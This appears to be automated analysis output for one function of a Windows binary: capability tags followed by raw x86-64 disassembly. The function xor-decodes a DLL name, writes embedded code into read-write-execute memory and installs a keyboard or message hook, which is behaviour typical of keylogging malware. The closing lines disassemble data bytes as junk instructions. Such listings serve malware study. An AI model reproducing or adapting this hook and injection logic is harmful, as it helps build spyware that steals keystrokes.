Function at 0x14001fc80
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r12, rdx
mov r14d, ecx
mov ecx, WSAGetLastError
xor edx, edx
mov r13, r8
call fcn.140019130
mov ecx, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x20], ax
lea edx, [rcx - 0x73]
call fcn.140019130
mov ecx, 0x64
mov word [rsp + 0x22], ax
lea edx, [rcx - 0x62]
call fcn.140019130
mov ecx, WSAGetLastError
mov word [rsp + 0x24], ax
lea edx, [rcx - 0x69]
call fcn.140019130
mov ecx, WSAGetLastError
mov word [rsp + 0x26], ax
lea edx, [rcx - 0x68]
call fcn.140019130
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x28], ax
lea edx, [rcx - 0x29]
call fcn.140019130
mov ecx, 0x64
mov word [rsp + 0x2a], ax
lea edx, [rcx - 0x5e]
call fcn.140019130
mov ecx, WSAGetLastError
mov word [rsp + 0x2c], ax
lea edx, [rcx - 0x65]
call fcn.140019130
mov ecx, WSAGetLastError
mov word [rsp + 0x2e], ax
lea edx, [rcx - 0x64]
call fcn.140019130
xor ecx, ecx
mov word [rsp + 0x30], ax
lea edx, [rcx + 9]
call fcn.140019130
movzx ecx, word [0x1400781c4]
mov edx, 0xa
mov word [rsp + 0x32], ax
call fcn.140019130
movzx ecx, word [0x1400781c6]
mov edx, ntohs
mov word [rsp + 0x34], ax
call fcn.140019130
movzx ecx, word [0x1400781c8]
mov edx, ntohs
mov word [rsp + 0x36], ax
call fcn.140019130
movzx ecx, word [0x1400781ca]
mov edx, reloc.WS2_32.dll_listen
mov word [rsp + 0x38], ax
call fcn.140019130
movzx ecx, word [0x1400781cc]
mov edx, reloc.WS2_32.dll_ntohl
mov word [rsp + 0x3a], ax
call fcn.140019130
movzx ecx, word [0x1400781ce]
mov edx, reloc.WS2_32.dll_ntohs
mov word [rsp + 0x3c], ax
call fcn.140019130
movzx ecx, word [0x1400781d0]
mov edx, reloc.WS2_32.dll_recv
mov word [rsp + 0x3e], ax
call fcn.140019130
movzx ecx, word [0x1400781d2]
mov edx, reloc.WS2_32.dll_recvfrom
mov word [rsp + 0x40], ax
call fcn.140019130
movzx ecx, word [0x1400781d4]
mov edx, reloc.WS2_32.dll_select
mov word [rsp + 0x42], ax
call fcn.140019130
mov word [rsp + 0x44], ax
xor eax, eax
mov word [rsp + 0x46], ax
xor r9d, r9d
mov r8d, 0x133
nop dword [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x20]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x14001fe30
lea rcx, [rsp + 0x20]
mov word [rsp + 0x46], r9w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.140019320
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140019140
mov edx, reloc.WS2_32.dll_WSACleanup
xor ecx, ecx
mov r8d, 0x3000
mov r15, rax
lea r9d, [rdx - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x1400d7ab0]
lea rbp, [r15 + 0x5c]
mov rsi, rax
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400d7ac0]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400d7ad0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400d7ae0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [str.D__H]
movups xmmword [rax + 0x40], xmm0
movsd xmm1, qword [0x1400d7b00]
movsd qword [rax + 0x50], xmm1
mov ecx, dword [0x1400d7b08]
mov dword [rax + 0x58], ecx
mov eax, dword [reloc.WS2_32.dll_getsockname]
mov qword [rax + rsi], rbp
mov qword [rsi + 0x6c], r12
mov eax, dword [r13 + 0x28]
add rax, r12
mov qword [rsi + 0x64], rax
call fcn.140019320
mov r9d, reloc.WS2_32.dll_WSACleanup
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140019390
mov r9d, r14d
mov r8, rbx
mov rdx, r15
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rsi + 0x5c], 2
mov rbx, rax
je 0x14001ff6e
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r14d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.140019320
mov r9d, Ordinal_26
lea r8, [rsi + 0x5c]
mov rdx, rbp
mov rcx, rax
call fcn.140019270
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi + 0x5c], 2
jne case.default.0x14001ffaf
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.140019320
mov rdx, r15
mov rcx, rax
call fcn.1400191e0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]
sahf
or esi, dword [rax]
lodsb al, byte [rsi]
invalid
sbb esp, dword ds:[rbx]
mov ah, Ordinal_26
invalid
push rcx
and dword [rsi + riz*2], eax
movsb byte [rdi], byte [rsi]
lodsd eax, dword [rsi]
scasb al, byte [rdi]
add dword [rcx - 0xe3aebdb], ecx
movabs dword [0x2380096590827253], eax
sbb al, 0x6d
jns 0x14010787c
sub ch, byte [rax + 0x11]
sub eax, 0xe1988a0c
fnsave dword [rbp + 0x7da1009e]
ret 0xbd99